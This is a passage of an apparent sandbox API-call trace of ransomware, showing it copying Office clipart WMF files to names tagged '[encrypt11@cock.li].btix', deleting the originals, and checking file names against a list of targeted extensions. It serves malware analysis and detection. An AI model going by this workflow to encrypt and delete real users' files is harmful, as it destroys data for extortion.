lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.065] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.065] SetEndOfFile (hFile=0x388) returned 1 [0052.065] CloseHandle (hObject=0x388) returned 1 [0052.066] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.066] SetEndOfFile (hFile=0x344) returned 1 [0052.067] CloseHandle (hObject=0x344) returned 1 [0052.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.068] lstrlenW (lpString=".doc") returned 4 [0052.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.068] lstrlenW (lpString=".docx") returned 5 [0052.068] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.068] lstrlenW (lpString=".pdf") returned 4 [0052.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.068] lstrlenW (lpString=".xls") returned 4 [0052.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.068] lstrlenW (lpString=".xlsx") returned 5 [0052.068] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.068] lstrlenW (lpString=".ppt") returned 4 [0052.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.068] lstrlenW (lpString=".zip") returned 4 [0052.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.068] lstrlenW (lpString=".rar") returned 4 [0052.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.068] lstrlenW (lpString=".bz2") returned 4 [0052.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.068] lstrlenW (lpString=".7z") returned 3 [0052.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.068] lstrlenW (lpString=".dbf") returned 4 [0052.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.068] lstrlenW (lpString=".1cd") returned 4 [0052.069] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.069] lstrlenW (lpString=".jpg") returned 4 [0052.069] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.069] lstrlenW (lpString=".doc") returned 4 [0052.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString=".docx") returned 5 [0052.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.069] lstrlenW (lpString=".pdf") returned 4 [0052.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString=".xls") returned 4 [0052.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.069] lstrlenW (lpString=".xlsx") returned 5 [0052.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.069] lstrlenW (lpString=".ppt") returned 4 [0052.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.069] lstrlenW (lpString=".zip") returned 4 [0052.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.069] lstrlenW (lpString=".rar") returned 4 [0052.069] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString=".bz2") returned 4 [0052.069] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString=".7z") returned 3 [0052.069] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.069] lstrlenW (lpString=".dbf") returned 4 [0052.069] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.070] lstrlenW (lpString=".1cd") returned 4 [0052.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0052.070] lstrlenW (lpString=".jpg") returned 4 [0052.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.070] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.070] lstrlenW (lpString="AN01060_.WMF") returned 12 [0052.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.070] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=7968) returned 1 [0052.070] CloseHandle (hObject=0x344) returned 1 [0052.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0052.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.070] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.071] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.071] GetLastError () returned 0x0 [0052.071] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1f20, lpOverlapped=0x0) returned 1 [0052.087] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1f30, lpOverlapped=0x0) returned 1 [0052.088] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.088] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.088] SetEndOfFile (hFile=0x388) returned 1 [0052.088] CloseHandle (hObject=0x388) returned 1 [0052.089] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.089] SetEndOfFile (hFile=0x344) returned 1 [0052.089] CloseHandle (hObject=0x344) returned 1 [0052.089] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.100] lstrlenW (lpString=".doc") returned 4 [0052.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString=".docx") returned 5 [0052.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.100] lstrlenW (lpString=".pdf") returned 4 [0052.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString=".xls") returned 4 [0052.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.100] lstrlenW (lpString=".xlsx") returned 5 [0052.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.100] lstrlenW (lpString=".ppt") returned 4 [0052.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.100] lstrlenW (lpString=".zip") returned 4 [0052.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.100] lstrlenW (lpString=".rar") returned 4 [0052.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString=".bz2") returned 4 [0052.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString=".7z") returned 3 [0052.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.100] lstrlenW (lpString=".dbf") returned 4 [0052.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.100] lstrlenW (lpString=".1cd") returned 4 [0052.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.100] lstrlenW (lpString=".jpg") returned 4 [0052.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.101] lstrlenW (lpString=".doc") returned 4 [0052.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString=".docx") returned 5 [0052.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.101] lstrlenW (lpString=".pdf") returned 4 [0052.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString=".xls") returned 4 [0052.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.101] lstrlenW (lpString=".xlsx") returned 5 [0052.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.101] lstrlenW (lpString=".ppt") returned 4 [0052.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.101] lstrlenW (lpString=".zip") returned 4 [0052.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.101] lstrlenW (lpString=".rar") returned 4 [0052.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString=".bz2") returned 4 [0052.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString=".7z") returned 3 [0052.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.101] lstrlenW (lpString=".dbf") returned 4 [0052.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.101] lstrlenW (lpString=".1cd") returned 4 [0052.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0052.101] lstrlenW (lpString=".jpg") returned 4 [0052.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.101] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.101] lstrlenW (lpString="AN01184_.WMF") returned 12 [0052.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.102] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3746) returned 1 [0052.102] CloseHandle (hObject=0x344) returned 1 [0052.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0052.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.102] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.102] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.102] GetLastError () returned 0x0 [0052.102] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xea2, lpOverlapped=0x0) returned 1 [0052.133] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xeb0, lpOverlapped=0x0) returned 1 [0052.134] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.134] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.134] SetEndOfFile (hFile=0x388) returned 1 [0052.134] CloseHandle (hObject=0x388) returned 1 [0052.135] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.135] SetEndOfFile (hFile=0x344) returned 1 [0052.136] CloseHandle (hObject=0x344) returned 1 [0052.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0052.136] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0052.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.136] lstrlenW (lpString=".doc") returned 4 [0052.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.136] lstrlenW (lpString=".docx") returned 5 [0052.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.136] lstrlenW (lpString=".pdf") returned 4 [0052.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString=".xls") returned 4 [0052.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.137] lstrlenW (lpString=".xlsx") returned 5 [0052.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.137] lstrlenW (lpString=".ppt") returned 4 [0052.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.137] lstrlenW (lpString=".zip") returned 4 [0052.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.137] lstrlenW (lpString=".rar") returned 4 [0052.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString=".bz2") returned 4 [0052.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString=".7z") returned 3 [0052.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.137] lstrlenW (lpString=".dbf") returned 4 [0052.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.137] lstrlenW (lpString=".1cd") returned 4 [0052.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.137] lstrlenW (lpString=".jpg") returned 4 [0052.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.137] lstrlenW (lpString=".doc") returned 4 [0052.137] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString=".docx") returned 5 [0052.137] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.137] lstrlenW (lpString=".pdf") returned 4 [0052.137] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.137] lstrlenW (lpString=".xls") returned 4 [0052.137] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.137] lstrlenW (lpString=".xlsx") returned 5 [0052.137] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.138] lstrlenW (lpString=".ppt") returned 4 [0052.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.138] lstrlenW (lpString=".zip") returned 4 [0052.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.138] lstrlenW (lpString=".rar") returned 4 [0052.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.138] lstrlenW (lpString=".bz2") returned 4 [0052.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.138] lstrlenW (lpString=".7z") returned 3 [0052.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.138] lstrlenW (lpString=".dbf") returned 4 [0052.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.138] lstrlenW (lpString=".1cd") returned 4 [0052.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0052.138] lstrlenW (lpString=".jpg") returned 4 [0052.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.138] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0052.138] lstrlenW (lpString="AN01218_.WMF") returned 12 [0052.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.138] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x33eff14 | out: lpFileSize=0x33eff14*=3012) returned 1 [0052.138] CloseHandle (hObject=0x344) returned 1 [0052.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0052.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0052.139] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.139] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0052.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0052.139] GetLastError () returned 0x0 [0052.139] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xbc4, lpOverlapped=0x0) returned 1 [0052.147] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xbd0, lpOverlapped=0x0) returned 1 [0052.148] ReadFile (in: hFile=0x344, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0052.148] WriteFile (in: hFile=0x388, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0052.148] SetEndOfFile (hFile=0x388) returned 1 [0052.148] CloseHandle (hObject=0x388) returned 1 [0052.149] 